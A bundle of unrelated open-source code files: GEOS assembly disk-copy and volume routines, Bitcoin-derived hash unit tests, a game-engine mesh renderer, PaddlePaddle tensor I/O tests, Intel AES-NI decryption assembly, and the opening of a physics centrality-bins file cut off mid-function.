DCC_VERIFY_DEST_DESTRUCTION
passed:
ax - DCC_REPORT_NUM_SWAPS
bx - disk handle of destination disk
dl - 0 based drive number
callback routine to return:
ax = 0 to continue, non-0 to abort
DCC_REPORT_FORMAT_PCT
passed:
ax - DCC_REPORT_FORMAT_PCT
dx - percentage of destination disk formatted
callback routine to return:
ax = 0 to continue, non-0 to abort
DCC_REPORT_READ_PCT
passed:
ax - DCC_REPORT_READ_PCT
dx - percentage of source disk read
callback routine to return:
ax = 0 to continue, non-0 to abort
DCC_REPORT_WRITE_PCT
passed:
ax - DCC_REPORT_WRITE_PCT
dx - percentage of destination disk written
callback routine to return:
ax = 0 to continue, non-0 to abort
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
if formats are compatible then
allocate buffer (some multiple of 1 sector)
for all blocks on disk
read source (takes care of bringing disk in)
write dest (takes care of bringing disk in)
end for
endif
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Cheng 10/89 Initial version
Todd 05/94 XIP'ed
-------------------------------------------------------------------------------@
DiskCopy proc far
args local FSCopyArgs
uses bx, cx, dx, si, di, es
.enter
;
; Store passed args to give to the IFS driver.
;
mov ss:[args].FSCA_flags, al
mov ax, ss:[bp] ; ax <- passed BP
movdw ss:[args].FSCA_callback, cxax
;
; Verify callback is not XIP'ed
;
if FULL_EXECUTE_IN_PLACE
EC< push bx, si >
EC< movdw bxsi, cxax >
EC< call ECAssertValidFarPointerXIP >
EC< pop bx, si >
endif
call FileLockInfoSharedToES
;
; Check out the dest drive to make sure it exists and supports copying.
;
mov al, dl
call locateAndCheckDrive
LONG jc errorUnlockFSIR
mov di, si ; save dest in a convenient place
mov ss:[args].FSCA_dest, si
;
; Likewise for the source drive
;
mov al, dh
call locateAndCheckDrive
dec ax ; convert to source-drive error code
; in case of error
jc errorUnlockFSIR
mov ss:[args].FSCA_source, si
;
; Make sure both drives run by the same driver.
;
mov ax, es:[si].DSE_fsd
cmp ax, es:[di].DSE_fsd
mov ax, ERR_DRIVES_HOLD_DIFFERENT_FILESYSTEM_TYPES
jne errorUnlockFSIR
;
; Ask the callback to get the disk in
;
mov dl, es:[si].DSE_number
call FSDUnlockInfoShared
push dx
FXIP< mov ss:[TPD_dataAX], DCC_GET_SOURCE_DISK >
FXIP< mov ss:[TPD_dataBX], bx >
FXIP< movdw bxax, ss:[args].FSCA_callback >
FXIP< call ProcCallFixedOrMovable >
if DCC_GET_SOURCE_DISK eq 0
NOFXIP< clr ax ; faster & smaller >
else
NOFXIP< mov ax, DCC_GET_SOURCE_DISK >
endif
NOFXIP< call ss:[args].FSCA_callback >
pop dx
tst ax
mov ax, ERR_OPERATION_CANCELLED
jnz error
;
; Try and register the disk in the drive.
;
mov al, dl
call DiskRegisterDisk
mov ax, ERR_SOURCE_DISK_NOT_FORMATTED
jc error
mov ss:[args].FSCA_disk, bx
;
; Now make sure the media of the disk are compatible with the dest
; drive.
;
call FileLockInfoSharedToES
mov ah, es:[bx].DD_media
mov si, ss:[args].FSCA_dest
mov al, es:[si].DSE_number
call DriveTestMediaSupport
mov ax, ERR_SOURCE_DISK_INCOMPATIBLE_WITH_DEST_DRIVE
jc errorUnlockFSIR
;
; Call the FSIR to do the copy. We do *not* lock the two drives
; for exclusive access as they might be aliases of each other and we'd
; deadlock on ourselves.
;
mov bx, si
lea ax, ss:[args]
push bp
push ax
mov di, DR_FS_DISK_COPY
call DiskUnlockInfoAndCallFSD
pop bp
done:
.leave
ret
errorUnlockFSIR:
call FSDUnlockInfoShared
error:
stc
jmp done
;--------------------
;Pass: al = drive number
; es = FSIR
;Return: carry set on error:
; ax = ERR_INVALID_DEST_DRIVE
; = ERR_DEST_DRIVE_DOESNT_SUPPORT_DISK_COPY
; carry clear if happy:
; es:si = DriveStatusEntry
;
locateAndCheckDrive:
call DriveLocateByNumber ; es:si <- dest drive
mov ax, ERR_INVALID_DEST_DRIVE
jc locateComplete
test es:[si].DSE_status, mask DES_FORMATTABLE
jnz locateComplete
mov ax, ERR_DEST_DRIVE_DOESNT_SUPPORT_DISK_COPY
stc
locateComplete:
retn
DiskCopy endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
DiskVolumeOp
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Utility routine for the various Disk*Volume* functions to
call the FSD bound to a disk
CALLED BY: DiskGetVolumeFreeSpace, DiskGetVolumeInfo
PASS: si = offset of DiskDesc
di = FSFunction to invoke
RETURN: whatever, es & bp cannot hold return values
DESTROYED: di, ax
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
ardeb 9/17/91 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
DiskVolumeOp proc far
uses es, bp
.enter
test si, DISK_IS_STD_PATH_MASK
jz doIt
LoadVarSeg es, ax
mov si, es:[topLevelDiskHandle]
doIt:
call FSDLockInfoShared
mov es, ax
clr al ; lock may be aborted
call DiskLockCallFSD
call FSDUnlockInfoShared
.leave
ret
DiskVolumeOp endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
DiskGetVolumeFreeSpace
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: return free space on volume
CALLED BY: GLOBAL
PASS: bx - disk handle of volume for which to get free space
RETURN: carry clear if no error
dx:ax - bytes free on that volume
carry set if error
ax - ERROR_INVALID_VOLUME
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
none
REVISION HISTORY:
Name Date Description
---- ---- -----------
brianc 03/06/90 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
DiskGetVolumeFreeSpace proc far
uses si, di
.enter
mov si, bx
mov di, DR_FS_DISK_FIND_FREE
call DiskVolumeOp
.leave
ret
DiskGetVolumeFreeSpace endp
COMMENT @-----------------------------------------------------------------------
FUNCTION: DiskGetVolumeInfo
DESCRIPTION: Get information about a volume.
CALLED BY: GLOBAL
PASS:
bx - disk handle of volume for which to get info
es:di - DiskInfoStruct to fill in
RETURN:
carry - set if error
ax - error code (if an error)
ERROR_INVALID_VOLUME
carry clear if success
structure at es:di filled in
DESTROYED: ax
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Tony 10/88 Initial version
-------------------------------------------------------------------------------@
DiskGetVolumeInfo proc far
uses cx, bx, si, di
.enter
if FULL_EXECUTE_IN_PLACE
EC< push bx, si >
EC< movdw bxsi, esdi >
EC< call ECAssertValidTrueFarPointerXIP >
EC< pop bx, si >
endif
mov si, bx
mov bx, es
mov cx, di
mov di, DR_FS_DISK_INFO
call DiskVolumeOp
.leave
ret
DiskGetVolumeInfo endp
COMMENT @-----------------------------------------------------------------------
FUNCTION: DiskSetVolumeName
DESCRIPTION: Set the name of a volume
CALLED BY: GLOBAL
PASS:
bx - disk handle of volume of which to set volume name
ds:si - new name (null-terminated)
RETURN:
carry - set if error
ax - error code (if an error)
ERROR_INVALID_VOLUME
ERROR_ACCESS_DENIED
DESTROYED:
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
lock FSIR shared
lock the drive for exclusive access
upgrade FSIR shared lock to exclusive
ask FSD to rename the disk (DR_FS_DISK_RENAME)
if success, copy new name into DiskDesc
downgrade FSIR exclusive to shared
release exclusive access to drive
release shared FSIR lock
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Tony 10/88 Initial version
Todd 5/94 XIP'ed
-------------------------------------------------------------------------------@
if FULL_EXECUTE_IN_PLACE
CopyStackCodeXIP segment resource
DiskSetVolumeName proc far
mov ss:[TPD_dataBX], handle DiskSetVolumeNameReal
mov ss:[TPD_dataAX], offset DiskSetVolumeNameReal
GOTO SysCallMovableXIPWithDSSI
DiskSetVolumeName endp
CopyStackCodeXIP ends
else
DiskSetVolumeName proc far
FALL_THRU DiskSetVolumeNameReal
DiskSetVolumeName endp
endif
DiskSetVolumeNameReal proc far
uses es, di, dx, bp, cx, bx
.enter
call DiskMapStdPath
call FileLockInfoSharedToES
;
; Make sure the disk is actually writable. bail if not.
;
call FSDCheckDestWritable
jc done
;
; Lock the disk for exclusive access, as we'll be modifying the DiskDesc
;
xchg si, bx ; es:si <- DiskDesc, ds:bx <- new name
call DiskLockExcl
jc done
;
; Upgrade our shared lock on the FSIR to an exclusive one and ask the
; FSD to rename the disk. It'll take care of updating the DiskDesc.
;
mov dx, bx ; ds:dx <- new name
mov di, DR_FS_DISK_RENAME
mov bp, es:[si].DD_drive
mov bp, es:[bp].DSE_fsd
call es:[bp].FSD_strategy
;
; Release the disk, being careful not to muck with the result of the
; rename.
;
call DiskUnlockExcl
done:
;
; Release our shared lock on the FSIR, now we're all done.
;
call FSDUnlockInfoShared
.leave
ret
DiskSetVolumeNameReal endp
Filemisc ends
|
// Copyright (c) 2013-2020 The Bitcoin Core developers
// Distributed under the MIT software license, see the accompanying
// file COPYING or http://www.opensource.org/licenses/mit-license.php.
#include <clientversion.h>
#include <crypto/siphash.h>
#include <hash.h>
#include <test/util/setup_common.h>
#include <util/strencodings.h>
#include <boost/test/unit_test.hpp>
BOOST_FIXTURE_TEST_SUITE(hash_tests, BasicTestingSetup)
BOOST_AUTO_TEST_CASE(murmurhash3)
{
#define T(expected, seed, data) BOOST_CHECK_EQUAL(MurmurHash3(seed, ParseHex(data)), expected)
// Test MurmurHash3 with various inputs. Of course this is retested in the
// bloom filter tests - they would fail if MurmurHash3() had any problems -
// but is useful for those trying to implement AgroCoin libraries as a
// source of test data for their MurmurHash3() primitive during
// development.
//
// The magic number 0xFBA4C795 comes from CBloomFilter::Hash()
T(0x00000000U, 0x00000000, "");
T(0x6a396f08U, 0xFBA4C795, "");
T(0x81f16f39U, 0xffffffff, "");
T(0x514e28b7U, 0x00000000, "00");
T(0xea3f0b17U, 0xFBA4C795, "00");
T(0xfd6cf10dU, 0x00000000, "ff");
T(0x16c6b7abU, 0x00000000, "0011");
T(0x8eb51c3dU, 0x00000000, "001122");
T(0xb4471bf8U, 0x00000000, "00112233");
T(0xe2301fa8U, 0x00000000, "0011223344");
T(0xfc2e4a15U, 0x00000000, "001122334455");
T(0xb074502cU, 0x00000000, "00112233445566");
T(0x8034d2a0U, 0x00000000, "0011223344556677");
T(0xb4698defU, 0x00000000, "001122334455667788");
#undef T
}
/*
SipHash-2-4 output with
k = 00 01 02 ...
and
in = (empty string)
in = 00 (1 byte)
in = 00 01 (2 bytes)
in = 00 01 02 (3 bytes)
...
in = 00 01 02 ... 3e (63 bytes)
from: https://131002.net/siphash/siphash24.c
*/
uint64_t siphash_4_2_testvec[] = {
0x726fdb47dd0e0e31, 0x74f839c593dc67fd, 0x0d6c8009d9a94f5a, 0x85676696d7fb7e2d,
0xcf2794e0277187b7, 0x18765564cd99a68d, 0xcbc9466e58fee3ce, 0xab0200f58b01d137,
0x93f5f5799a932462, 0x9e0082df0ba9e4b0, 0x7a5dbbc594ddb9f3, 0xf4b32f46226bada7,
0x751e8fbc860ee5fb, 0x14ea5627c0843d90, 0xf723ca908e7af2ee, 0xa129ca6149be45e5,
0x3f2acc7f57c29bdb, 0x699ae9f52cbe4794, 0x4bc1b3f0968dd39c, 0xbb6dc91da77961bd,
0xbed65cf21aa2ee98, 0xd0f2cbb02e3b67c7, 0x93536795e3a33e88, 0xa80c038ccd5ccec8,
0xb8ad50c6f649af94, 0xbce192de8a85b8ea, 0x17d835b85bbb15f3, 0x2f2e6163076bcfad,
0xde4daaaca71dc9a5, 0xa6a2506687956571, 0xad87a3535c49ef28, 0x32d892fad841c342,
0x7127512f72f27cce, 0xa7f32346f95978e3, 0x12e0b01abb051238, 0x15e034d40fa197ae,
0x314dffbe0815a3b4, 0x027990f029623981, 0xcadcd4e59ef40c4d, 0x9abfd8766a33735c,
0x0e3ea96b5304a7d0, 0xad0c42d6fc585992, 0x187306c89bc215a9, 0xd4a60abcf3792b95,
0xf935451de4f21df2, 0xa9538f0419755787, 0xdb9acddff56ca510, 0xd06c98cd5c0975eb,
0xe612a3cb9ecba951, 0xc766e62cfcadaf96, 0xee64435a9752fe72, 0xa192d576b245165a,
0x0a8787bf8ecb74b2, 0x81b3e73d20b49b6f, 0x7fa8220ba3b2ecea, 0x245731c13ca42499,
0xb78dbfaf3a8d83bd, 0xea1ad565322a1a0b, 0x60e61c23a3795013, 0x6606d7e446282b93,
0x6ca4ecb15c5f91e1, 0x9f626da15c9625f3, 0xe51b38608ef25f57, 0x958a324ceb064572
};
BOOST_AUTO_TEST_CASE(siphash)
{
CSipHasher hasher(0x0706050403020100ULL, 0x0F0E0D0C0B0A0908ULL);
BOOST_CHECK_EQUAL(hasher.Finalize(), 0x726fdb47dd0e0e31ull);
static const unsigned char t0[1] = {0};
hasher.Write(t0, 1);
BOOST_CHECK_EQUAL(hasher.Finalize(), 0x74f839c593dc67fdull);
static const unsigned char t1[7] = {1,2,3,4,5,6,7};
hasher.Write(t1, 7);
BOOST_CHECK_EQUAL(hasher.Finalize(), 0x93f5f5799a932462ull);
hasher.Write(0x0F0E0D0C0B0A0908ULL);
BOOST_CHECK_EQUAL(hasher.Finalize(), 0x3f2acc7f57c29bdbull);
static const unsigned char t2[2] = {16,17};
hasher.Write(t2, 2);
BOOST_CHECK_EQUAL(hasher.Finalize(), 0x4bc1b3f0968dd39cull);
static const unsigned char t3[9] = {18,19,20,21,22,23,24,25,26};
hasher.Write(t3, 9);
BOOST_CHECK_EQUAL(hasher.Finalize(), 0x2f2e6163076bcfadull);
static const unsigned char t4[5] = {27,28,29,30,31};
hasher.Write(t4, 5);
BOOST_CHECK_EQUAL(hasher.Finalize(), 0x7127512f72f27cceull);
hasher.Write(0x2726252423222120ULL);
BOOST_CHECK_EQUAL(hasher.Finalize(), 0x0e3ea96b5304a7d0ull);
hasher.Write(0x2F2E2D2C2B2A2928ULL);
BOOST_CHECK_EQUAL(hasher.Finalize(), 0xe612a3cb9ecba951ull);
BOOST_CHECK_EQUAL(SipHashUint256(0x0706050403020100ULL, 0x0F0E0D0C0B0A0908ULL, uint256S("1f1e1d1c1b1a191817161514131211100f0e0d0c0b0a09080706050403020100")), 0x7127512f72f27cceull);
// Check test vectors from spec, one byte at a time
CSipHasher hasher2(0x0706050403020100ULL, 0x0F0E0D0C0B0A0908ULL);
for (uint8_t x=0; x<ARRAYLEN(siphash_4_2_testvec); ++x)
{
BOOST_CHECK_EQUAL(hasher2.Finalize(), siphash_4_2_testvec[x]);
hasher2.Write(&x, 1);
}
// Check test vectors from spec, eight bytes at a time
CSipHasher hasher3(0x0706050403020100ULL, 0x0F0E0D0C0B0A0908ULL);
for (uint8_t x=0; x<ARRAYLEN(siphash_4_2_testvec); x+=8)
{
BOOST_CHECK_EQUAL(hasher3.Finalize(), siphash_4_2_testvec[x]);
hasher3.Write(uint64_t(x)|(uint64_t(x+1)<<8)|(uint64_t(x+2)<<16)|(uint64_t(x+3)<<24)|
(uint64_t(x+4)<<32)|(uint64_t(x+5)<<40)|(uint64_t(x+6)<<48)|(uint64_t(x+7)<<56));
}
CHashWriter ss(SER_DISK, CLIENT_VERSION);
CMutableTransaction tx;
// Note these tests were originally written with tx.nVersion=1
// and the test would be affected by default tx version bumps if not fixed.
tx.nVersion = 1;
ss << tx;
BOOST_CHECK_EQUAL(SipHashUint256(1, 2, ss.GetHash()), 0x79751e980c2a0a35ULL);
// Check consistency between CSipHasher and SipHashUint256[Extra].
FastRandomContext ctx;
for (int i = 0; i < 16; ++i) {
uint64_t k1 = ctx.rand64();
uint64_t k2 = ctx.rand64();
uint256 x = InsecureRand256();
uint32_t n = ctx.rand32();
uint8_t nb[4];
WriteLE32(nb, n);
CSipHasher sip256(k1, k2);
sip256.Write(x.begin(), 32);
CSipHasher sip288 = sip256;
sip288.Write(nb, 4);
BOOST_CHECK_EQUAL(SipHashUint256(k1, k2, x), sip256.Finalize());
BOOST_CHECK_EQUAL(SipHashUint256Extra(k1, k2, x, n), sip288.Finalize());
}
}
BOOST_AUTO_TEST_SUITE_END()
|
#include "ecs/component/MeshRenderer.h"
#include "ecs/Registry.h"
#include "assets/AssetService.h"
#ifdef NC_EDITOR_ENABLED
#include "ui/editor/Widgets.h"
#endif
namespace nc
{
MeshRenderer::MeshRenderer(Entity entity, std::string meshUid, Material material, TechniqueType techniqueType)
: ComponentBase{entity},
#ifdef NC_EDITOR_ENABLED
m_material{std::move(material)},
m_meshPath{meshUid},
#endif
m_mesh{AssetService<MeshView>::Get()->Acquire(meshUid)},
m_textureIndices{},
m_techniqueType{techniqueType}
{
#ifdef NC_EDITOR_ENABLED
m_textureIndices.baseColor = AssetService<TextureView>::Get()->Acquire(m_material.baseColor); // Todo: Make this more generic for materials;
m_textureIndices.normal = AssetService<TextureView>::Get()->Acquire(m_material.normal);
m_textureIndices.roughness = AssetService<TextureView>::Get()->Acquire(m_material.roughness);
m_textureIndices.metallic = AssetService<TextureView>::Get()->Acquire(m_material.metallic);
#else
m_textureIndices.baseColor = AssetService<TextureView>::Get()->Acquire(material.baseColor);
m_textureIndices.normal = AssetService<TextureView>::Get()->Acquire(material.normal);
m_textureIndices.roughness = AssetService<TextureView>::Get()->Acquire(material.roughness);
m_textureIndices.metallic = AssetService<TextureView>::Get()->Acquire(material.metallic);
#endif
}
void MeshRenderer::SetMesh(std::string meshUid)
{
#ifdef NC_EDITOR_ENABLED
m_meshPath = meshUid;
#endif
m_mesh = AssetService<MeshView>::Get()->Acquire(meshUid);
}
void MeshRenderer::SetBaseColor(const std::string& texturePath)
{
#ifdef NC_EDITOR_ENABLED
m_material.baseColor = texturePath;
#endif
m_textureIndices.baseColor = AssetService<TextureView>::Get()->Acquire(texturePath);
}
void MeshRenderer::SetNormal(const std::string& texturePath)
{
#ifdef NC_EDITOR_ENABLED
m_material.normal = texturePath;
#endif
m_textureIndices.normal = AssetService<TextureView>::Get()->Acquire(texturePath);
}
void MeshRenderer::SetRoughness(const std::string& texturePath)
{
#ifdef NC_EDITOR_ENABLED
m_material.roughness = texturePath;
#endif
m_textureIndices.roughness = AssetService<TextureView>::Get()->Acquire(texturePath);
}
void MeshRenderer::SetMetallic(const std::string& texturePath)
{
#ifdef NC_EDITOR_ENABLED
m_material.metallic = texturePath;
#endif
m_textureIndices.metallic = AssetService<TextureView>::Get()->Acquire(texturePath);
}
#ifdef NC_EDITOR_ENABLED
template<> void ComponentGuiElement<MeshRenderer>(MeshRenderer* meshRenderer)
{
ImGui::Text("Mesh Renderer");
meshRenderer->GetMaterial().EditorGuiElement();
}
void Material::EditorGuiElement()
{
ImGui::SameLine();
ImGui::Text("Material");
ImGui::Spacing();
ImGui::Text("Base Color:");
ImGui::Text(baseColor.c_str());
ImGui::Text("Normal:");
ImGui::Text(normal.c_str());
ImGui::Text("Roughness:");
ImGui::Text(roughness.c_str());
}
#endif
} |
// Copyright (c) 2020 PaddlePaddle Authors. All Rights Reserved.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
#include "paddle/fluid/inference/utils/io_utils.h"
#include <glog/logging.h>
#include <gtest/gtest.h>
#include <utility>
#include "paddle/fluid/inference/api/helper.h"
namespace paddle {
namespace inference {
namespace {
bool pd_tensor_equal(const paddle::PaddleTensor& ref,
const paddle::PaddleTensor& t) {
bool is_equal = true;
VLOG(3) << "ref.name: " << ref.name << ", t.name: " << t.name;
VLOG(3) << "ref.dtype: " << ref.dtype << ", t.dtype: " << t.dtype;
VLOG(3) << "ref.lod_level: " << ref.lod.size()
<< ", t.dtype: " << t.lod.size();
VLOG(3) << "ref.data_len: " << ref.data.length()
<< ", t.data_len: " << t.data.length();
return is_equal && (ref.name == t.name) && (ref.lod == t.lod) &&
(ref.dtype == t.dtype) &&
(std::memcmp(ref.data.data(), t.data.data(), ref.data.length()) == 0);
}
template <typename T>
void test_io_utils() {
std::vector<T> input({6, 8});
paddle::PaddleTensor in;
in.name = "Hello";
in.shape = {1, 2};
in.lod = std::vector<std::vector<size_t>>{{0, 1}};
in.data = paddle::PaddleBuf(static_cast<void*>(input.data()),
input.size() * sizeof(T));
in.dtype = paddle::inference::PaddleTensorGetDType<T>();
std::stringstream ss;
paddle::inference::SerializePDTensorToStream(&ss, in);
paddle::PaddleTensor out;
paddle::inference::DeserializePDTensorToStream(ss, &out);
ASSERT_TRUE(pd_tensor_equal(in, out));
}
} // namespace
} // namespace inference
} // namespace paddle
TEST(infer_io_utils, float32) { paddle::inference::test_io_utils<float>(); }
TEST(infer_io_utils, tensors) {
// Create a float32 tensor.
std::vector<float> input_fp32({1.1f, 3.2f, 5.0f, 8.2f});
paddle::PaddleTensor in_fp32;
in_fp32.name = "Tensor.fp32_0";
in_fp32.shape = {2, 2};
in_fp32.data = paddle::PaddleBuf(static_cast<void*>(input_fp32.data()),
input_fp32.size() * sizeof(float));
in_fp32.dtype = paddle::inference::PaddleTensorGetDType<float>();
// Create a int64 tensor.
std::vector<float> input_int64({5, 8});
paddle::PaddleTensor in_int64;
in_int64.name = "Tensor.int64_0";
in_int64.shape = {1, 2};
in_int64.lod = std::vector<std::vector<size_t>>{{0, 1}};
in_int64.data = paddle::PaddleBuf(static_cast<void*>(input_int64.data()),
input_int64.size() * sizeof(int64_t));
in_int64.dtype = paddle::inference::PaddleTensorGetDType<int64_t>();
// Serialize tensors.
std::vector<paddle::PaddleTensor> tensors_in({in_fp32});
std::string file_path = "./io_utils_tensors";
paddle::inference::SerializePDTensorsToFile(file_path, tensors_in);
// Deserialize tensors.
std::vector<paddle::PaddleTensor> tensors_out;
paddle::inference::DeserializePDTensorsToFile(file_path, &tensors_out);
// Check results.
ASSERT_EQ(tensors_in.size(), tensors_out.size());
for (size_t i = 0; i < tensors_in.size(); ++i) {
ASSERT_TRUE(
paddle::inference::pd_tensor_equal(tensors_in[i], tensors_out[i]));
}
}
TEST(shape_info_io, read_and_write) {
const std::string path = "test_shape_info_io";
std::map<std::string, std::vector<int32_t>> min_shape, max_shape, opt_shape;
min_shape.insert(
std::make_pair("test1", std::vector<int32_t>{1, 3, 112, 112}));
max_shape.insert(
std::make_pair("test1", std::vector<int32_t>{1, 3, 224, 224}));
opt_shape.insert(
std::make_pair("test1", std::vector<int32_t>{1, 3, 224, 224}));
paddle::inference::SerializeShapeRangeInfo(path, min_shape, max_shape,
opt_shape);
min_shape.clear();
max_shape.clear();
opt_shape.clear();
opt_shape.insert(
std::make_pair("test2", std::vector<int32_t>{1, 3, 224, 224}));
paddle::inference::DeserializeShapeRangeInfo(path, &min_shape, &max_shape,
&opt_shape);
min_shape.insert(std::make_pair("test1", std::vector<int32_t>{1, 3, 56, 56}));
std::vector<std::string> names{"test1"};
paddle::inference::UpdateShapeRangeInfo(path, min_shape, max_shape, opt_shape,
names);
ASSERT_THROW(paddle::inference::DeserializeShapeRangeInfo(
"no_exists_file", &min_shape, &max_shape, &opt_shape);
, paddle::platform::EnforceNotMet);
}
|
;===============================================================================
; Copyright 2015-2020 Intel Corporation
;
; Licensed under the Apache License, Version 2.0 (the "License");
; you may not use this file except in compliance with the License.
; You may obtain a copy of the License at
;
; http://www.apache.org/licenses/LICENSE-2.0
;
; Unless required by applicable law or agreed to in writing, software
; distributed under the License is distributed on an "AS IS" BASIS,
; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
; See the License for the specific language governing permissions and
; limitations under the License.
;===============================================================================
;
;
; Purpose: Cryptography Primitive.
; Rijndael Inverse Cipher function
;
; Content:
; DecryptECB_RIJ128pipe_AES_NI()
;
;
%include "asmdefs.inc"
%include "ia_32e.inc"
%include "pcpvariant.inc"
%if (_AES_NI_ENABLING_ == _FEATURE_ON_) || (_AES_NI_ENABLING_ == _FEATURE_TICKTOCK_)
%if (_IPP32E >= _IPP32E_Y8)
segment .text align=IPP_ALIGN_FACTOR
;***************************************************************
;* Purpose: pipelined RIJ128 ECB decryption
;*
;* void DecryptECB_RIJ128pipe_AES_NI(const Ipp32u* inpBlk,
;* Ipp32u* outBlk,
;* int nr,
;* const Ipp32u* pRKey,
;* int len)
;***************************************************************
;;
;; Lib = Y8
;;
;; Caller = ippsAESDecryptECB
;;
align IPP_ALIGN_FACTOR
IPPASM DecryptECB_RIJ128pipe_AES_NI,PUBLIC
%assign LOCAL_FRAME 0
USES_GPR rsi,rdi
USES_XMM
COMP_ABI 5
;; rdi: pInpBlk: DWORD, ; input blocks address
;; rsi: pOutBlk: DWORD, ; output blocks address
;; rdx: nr: DWORD, ; number of rounds
;; rcx pKey: DWORD ; key material address
;; r8d length: DWORD ; length (bytes)
%xdefine SC (4)
%assign BLKS_PER_LOOP (4)
%assign BYTES_PER_BLK (16)
%assign BYTES_PER_LOOP (BYTES_PER_BLK*BLKS_PER_LOOP)
lea rax,[rdx*SC] ; keys offset
movsxd r8, r8d
sub r8, BYTES_PER_LOOP
jl .short_input
;;
;; pipelined processing
;;
;ALIGN IPP_ALIGN_FACTOR
.blks_loop:
lea r9,[rcx+rax*4] ; set pointer to the key material
movdqa xmm4, oword [r9] ; keys for whitening
sub r9, 16
movdqu xmm0, oword [rdi+0*BYTES_PER_BLK] ; get input blocks
movdqu xmm1, oword [rdi+1*BYTES_PER_BLK]
movdqu xmm2, oword [rdi+2*BYTES_PER_BLK]
movdqu xmm3, oword [rdi+3*BYTES_PER_BLK]
add rdi, BYTES_PER_LOOP
pxor xmm0, xmm4 ; whitening
pxor xmm1, xmm4
pxor xmm2, xmm4
pxor xmm3, xmm4
movdqa xmm4, oword [r9] ; pre load operation's keys
sub r9, 16
mov r10, rdx ; counter depending on key length
sub r10, 1
;ALIGN IPP_ALIGN_FACTOR
.cipher_loop:
aesdec xmm0, xmm4 ; regular round
aesdec xmm1, xmm4
aesdec xmm2, xmm4
aesdec xmm3, xmm4
movdqa xmm4, oword [r9] ; pre load operation's keys
sub r9, 16
dec r10
jnz .cipher_loop
aesdeclast xmm0, xmm4 ; irregular round
movdqu oword [rsi+0*BYTES_PER_BLK], xmm0 ; store output blocks
aesdeclast xmm1, xmm4
movdqu oword [rsi+1*BYTES_PER_BLK], xmm1
aesdeclast xmm2, xmm4
movdqu oword [rsi+2*BYTES_PER_BLK], xmm2
aesdeclast xmm3, xmm4
movdqu oword [rsi+3*BYTES_PER_BLK], xmm3
add rsi, BYTES_PER_LOOP
sub r8, BYTES_PER_LOOP
jge .blks_loop
;;
;; block-by-block processing
;;
.short_input:
add r8, BYTES_PER_LOOP
jz .quit
lea r9,[rcx+rax*4] ; set pointer to the key material
align IPP_ALIGN_FACTOR
.single_blk_loop:
movdqu xmm0, oword [rdi] ; get input block
add rdi, BYTES_PER_BLK
pxor xmm0, oword [r9] ; whitening
cmp rdx,12 ; switch according to number of rounds
jl .key_128_s
jz .key_192_s
.key_256_s:
aesdec xmm0, oword [rcx+9*SC*4+4*SC*4]
aesdec xmm0, oword [rcx+9*SC*4+3*SC*4]
.key_192_s:
aesdec xmm0, oword [rcx+9*SC*4+2*SC*4]
aesdec xmm0, oword [rcx+9*SC*4+1*SC*4]
.key_128_s:
aesdec xmm0, oword [rcx+9*SC*4-0*SC*4]
aesdec xmm0, oword [rcx+9*SC*4-1*SC*4]
aesdec xmm0, oword [rcx+9*SC*4-2*SC*4]
aesdec xmm0, oword [rcx+9*SC*4-3*SC*4]
aesdec xmm0, oword [rcx+9*SC*4-4*SC*4]
aesdec xmm0, oword [rcx+9*SC*4-5*SC*4]
aesdec xmm0, oword [rcx+9*SC*4-6*SC*4]
aesdec xmm0, oword [rcx+9*SC*4-7*SC*4]
aesdec xmm0, oword [rcx+9*SC*4-8*SC*4]
aesdeclast xmm0, oword [rcx+9*SC*4-9*SC*4]
movdqu oword [rsi], xmm0 ; save output block
add rsi, BYTES_PER_BLK
sub r8, BYTES_PER_BLK
jnz .single_blk_loop
.quit:
pxor xmm4, xmm4
REST_XMM
REST_GPR
ret
ENDFUNC DecryptECB_RIJ128pipe_AES_NI
%endif
%endif ;; _AES_NI_ENABLING_
|
#include "DataFormats/HeavyIonEvent/interface/CentralityBins.h"
#include <iostream>
using namespace std;
int CentralityBins::getBin(double value) const {
int bin = table_.size() - 1;
for (unsigned int i = 0; i < table_.size(); ++i) {
if (value >= table_[i].bin_edge) {
bin = i;
return bin;
}
}
return bin;
}
CentralityBins::RunMap getCentralityFromFile(TDirectoryFile* file, const char* tag, int firstRun, int lastRun) {
return getCentralityFromFile(file, ".", tag, firstRun, lastRun);
}
CentralityBins::RunMap getCentralityFromFile(
TDirectoryFile* file, const char* dir, const char* tag, int firstRun, int lastRun) {
CentralityBins::RunMap map;
for (int run = firstRun; run <= lastRun; ++run) {
